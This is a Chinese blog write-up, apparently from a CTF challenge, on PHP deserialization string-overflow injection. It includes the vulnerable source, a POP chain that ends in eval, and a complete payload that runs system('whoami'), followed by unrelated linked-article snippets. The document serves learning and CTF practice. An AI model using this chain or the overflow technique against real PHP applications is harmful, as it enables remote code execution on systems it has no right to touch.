记一次简单的PHP反序列化字符串溢出

今天朋友给的一道题,让我看看,来源不知,随手记一下

<?php
// where is flag
error_reporting(0);
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){   
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$cmd=$_POST["cmd"];
if(isset($cmd))
{
    $newdata=serialize(new NFCTF($cmd));                             
    $redata=str_replace("add","addd",$newdata);            
    unserialize($redata);                                     
}else{
    highlight_file(__FILE__);
}

首先是触发到eval($this->pay);的链子,很简单

jienigui::nice() <- xiaohuolong::__toString() <- kabishou::__destruct() 
<?php 
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}

$jienigui = new jienigui();
$jienigui -> pay = "system('whoami');";
$xiaohuolong = new xiaohuolong();
$xiaohuolong -> x = $jienigui;
$kabishou = new kabishou();
$kabishou -> m = $xiaohuolong;
echo base64_encode(serialize($kabishou))."\n";
PS C:\Users\Administrator\Downloads> php .\test.php
Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9
mochu7\administrator
PS C:\Users\Administrator\Downloads>

然后就是将Base64编码后的这条链的序列化字符串,赋值给$this->payload,使其在NFCTF::__wakeup()触发反序列化,然后NFCTF这个类,传参可控的是属性是$this->ming,替换规则是每出现一个add就替换为addd,长度变化为+1

把Base64的payload放进去,$this->id设置好,参考序列化的之后的字符串更直观

<?php 
class NFCTF{                                     
    public $ming,$id,$payload,$nothing;
    function __construct($iii){
        $this->ming=$iii;
    }
    function __wakeup(){                        
    if($this->id==="NFCTF"){
            $tmp = base64_decode($this->payload);        
            $this->nothing=unserialize($tmp);
        }
        else{
            die("you nonono!!!");
        }
    }
}
class xiaohuolong{
    public $x;                        

    function heeko(){
        echo "heeko";
    }

    function __toString(){
        $this->x->nice();              
    }
}
class kabishou{
    public $m;
    public $y;
    public $h;
    function __wakeup(){        
        $this->setm();
    }

    function setm(){
        $this->_m = ""; 
    }

    function __destruct(){          
        $this->y=$this->h;          
        die($this->m);              
    }
}
class jienigui{
    public $pay;                    
    function nice(){
        eval($this->pay);           
    }
}
$NFCTF = new NFCTF('mochu7');
$NFCTF -> id = "NFCTF";
$NFCTF -> payload = "Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";
echo serialize($NFCTF);
// O:5:"NFCTF":4:{s:4:"ming";s:6:"mochu7";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

我们要控制注入进去的对象属性是$this->id$this->payload,也就是后面选中的这长度为239的字符串,包含开头的";,因为需要闭合$this->ming的内容格式才能被正确反序列化的。

在这里插入图片描述

明确了需要注入的payload长度为239,就可以设置替换字符为'add'*239,经过str_replace("add","addd",$newdata);就是'addd'*239,长度变化为+239,正好可以将后面这串 payload 挤出$this->ming的内容范围。如下图所示:

在这里插入图片描述

所示执行system("whoami")的命令的payload最终payload如下

cmd=addaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddaddadd";s:2:"id";s:5:"NFCTF";s:7:"payload";s:176:"Tzo4OiJrYWJpc2hvdSI6Mzp7czoxOiJtIjtPOjExOiJ4aWFvaHVvbG9uZyI6MTp7czoxOiJ4IjtPOjg6ImppZW5pZ3VpIjoxOntzOjM6InBheSI7czoxNzoic3lzdGVtKCd3aG9hbWknKTsiO319czoxOiJ5IjtOO3M6MToiaCI7Tjt9";s:7:"nothing";N;}

即你需要注入的payload长度为多少,就构造能溢出多少长度的替换字符串。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/185224.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

主播产品转场(款)话术

直播转场话术要点 在直播过程中&#xff0c;转场话术是非常重要的一部分。它可以帮助主播J顺利地将一个主题或场景过渡到另一个主题或场景&#xff0c;同时吸引观众的注意力。提高直播的观赏性和互动性。以下是一些直播转场话术的要点: 一、过渡性话语 过渡性话语是连接两个…

机器学习高级实践

&#x1f482; 个人网站:【 海拥】【神级代码资源网站】【办公神器】&#x1f91f; 基于Web端打造的&#xff1a;&#x1f449;轻量化工具创作平台&#x1f485; 想寻找共同学习交流的小伙伴&#xff0c;请点击【全栈技术交流群】 前言 在当今科技飞速发展的时代&#xff0c;机…

Linux开发工具(含gdb调试教程)

文章目录 Linux开发工具&#xff08;含gdb调试教程&#xff09;1、Linux 软件包管理器 yum2、Linux开发工具2.1、Linux编辑器 -- vim的使用2.1.1、vim的基本概念2.1.2、vim的基本操作2.1.3、vim正常模式命令集2.1.4、vim末行模式命令集 2.2、vim简单配置 3、Linux编译器 -- gcc…

TSINGSEE青犀智能分析网关道路积水识别AI算法方案

在各处的街道、路口等区域&#xff0c;及时发现道路积水问题&#xff0c;可以大大减少城市管理部门压力&#xff0c;及时处理&#xff0c;减少交通事故与人员摔倒事故。通过道路积水AI算法&#xff0c;能有效提高城市管理部门效率&#xff0c;优化城市管理方式。 那么&#xff…

西米支付:简单介绍一下支付公司的分账功能体系

随着互联网的普及和电子商务的快速发展&#xff0c;支付已经成为人们日常生活的重要组成部分。支付公司作为第三方支付平台&#xff0c;为消费者和商家提供了便捷、安全的支付方式。而在支付领域中&#xff0c;分账功能是一个非常重要的功能&#xff0c;它可以帮助企业实现资金…

livox 半固体激光雷达 gazebo 仿真 | 更换仿真中mid360雷达外形

livox 半固体激光雷达 gazebo 仿真 | 更换仿真中mid360雷达外形 livox 半固体激光雷达 gazebo 仿真 | 更换仿真中mid360雷达外形livox 介绍更换仿真中mid360雷达外形 livox 半固体激光雷达 gazebo 仿真 | 更换仿真中mid360雷达外形 livox 介绍 览沃科技有限公司&#xff08;L…

如何在Simulink中使用syms?换个思路解决报错:Function ‘syms‘ not supported for code generation.

问题描述 在Simulink中的User defined function使用syms函数&#xff0c;报错simulink无法使用外部函数。 具体来说&#xff1a; 我想在Predefined function定义如下符号函数作为输入信号&#xff0c;在后续模块传入函数参数赋值&#xff0c;以实现一次定义多次使用&#xf…

Pix2Pix 使用指南:从原理到项目应用

Pix2Pix Pix2Pix 介绍&#xff1a;使用条件 GAN 进行图像到图像的转换Pix2Pix 原理Pix2Pix 模型结构生成器&#xff1a;Unet结构判别器&#xff1a;PatchGAN目标函数目标函数总结 Pix2Pix 项目使用 Pix2Pix 介绍&#xff1a;使用条件 GAN 进行图像到图像的转换 Pix2Pix 论文&a…

预制菜产业发展背景下,如何利用视频监控保障行业监管工作

一、方案背景 随着社会的快速发展和人们生活水平的提高&#xff0c;预制菜产业作为现代餐饮行业的重要组成部分&#xff0c;越来越受到消费者的欢迎。然而&#xff0c;由于相关监管工作的不健全或不到位&#xff0c;一些问题也相继浮现出来&#xff0c;如&#xff1a;食品安全…

比较2个点的3种结构在不规则平面上的占比

2 2 2 1 2 2 2 2 2 1 2 2 2 2 2 1 2 2 3 3 3 x 3 3 2 2 2 1 2 2 2 2 2 1 2 2 在平面上有一个点x&#xff0c;再增加一个点,11的操作把平面分成了3部分2a1&#xff0c;2a2&#xff0c;2a3&#xff0c;3部分的比值是 2a1 2a2 2a3 5 25 …

2023年微软开源八个人工智能项目

自2001年软件巨头微软前首席执行官史蒂夫鲍尔默对开源&#xff08;尤其是Linux&#xff09;发表尖刻言论以来&#xff0c;微软正在开源方面取得了长足的进步。继ChatGPT于去年年底发布了后&#xff0c;微软的整个2023年&#xff0c;大多数技术都是面向开发人员和研究人员公开发…

NX二次开发UF_CSYS_set_origin 函数介绍

文章作者&#xff1a;里海 来源网站&#xff1a;https://blog.csdn.net/WangPaiFeiXingYuan UF_CSYS_set_origin Defined in: uf_csys.h int UF_CSYS_set_origin(tag_t csys_tag, double origin [ 3 ] ) overview 概述 Set origin of coordinate system. Note that this fu…

TFA-Net

TFA SCA means ‘Self-Context Aggregation’ 作者未提供代码

leetcode:环形链表的入环点

题目描述 题目链接:力扣&#xff08;LeetCode&#xff09;官网 - 全球极客挚爱的技术成长平台 题目分析 我们假设起点到环的入口点的距离是L&#xff0c;入口点到相遇点的距离是X&#xff0c;环的长度是C 那么画图我们可以得知&#xff1a; 从开始到相遇时slow走的距离是LX从…

Matplotlib图形注释_Python数据分析与可视化

Matplotlib图形注释 添加注释文字、坐标变换 有的时候单单使用图形无法完整清晰的表达我们的信息&#xff0c;我们还需要进行文字进行注释&#xff0c;所以matplotlib提供了文字、箭头等注释可以突出图形中重点信息。 添加注释 为了使我们的可视化图形让人更加容易理解&#…

视频监控中的智能算法与计算机视觉技术

智能视频监控是一种基于人工智能技术的监控系统&#xff0c;它能够通过对图像和视频数据进行分析&#xff0c;自动识别目标物体、判断其行为以及进行异常检测等功能&#xff0c;从而实现对场景的智能化监管。以下是常见的一些用于智能视频监控的算法&#xff1a; 1、人脸识别技…

资深测试整理,压力测试-如何做压力测试?一篇打通...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 1、什么是压力测试…

服务台需要跟踪的3个重要指标MTBF+MTTF+MTTR

衡量标准是IT服务管理的核心&#xff0c;可提供有关运营的见解&#xff0c;并帮助确定需要持续改进的领域。通常的服务台指标有助于展示内部运营效率。例如&#xff0c;衡量在规定时间内解决问题的工单数量的 SLA 是展示服务台效率的关键因素。另一方面&#xff0c;故障指标可帮…

《微信小程序开发从入门到实战》学习二十七

3.4 开发参与投票页面 3.4.2 借用伪造数据开发功能 为了便于开发&#xff0c;新建一个编译模式&#xff1a; 之前没看文章&#xff0c;每次都习惯性填完投票创建的信息提交再跳转看效果。好累。 添加变异模式开发真方便。 另外&#xff0c;点击提交后没跳转到投票页面&#…

CCCCCCC指针CCCCC

本文介绍[ shared_ptr / unique_ptr / weak_ptr ]的使用&#xff0c;以及shared_ptr 引用计数和weak_ptr 弱引用计数。 1. 智能指针概述 C程序设计中使用堆内存是非常频繁的操作&#xff0c;堆内存的申请和释放都由程序员自己管理。程序员自己管理堆内存可以提高了程序的效率…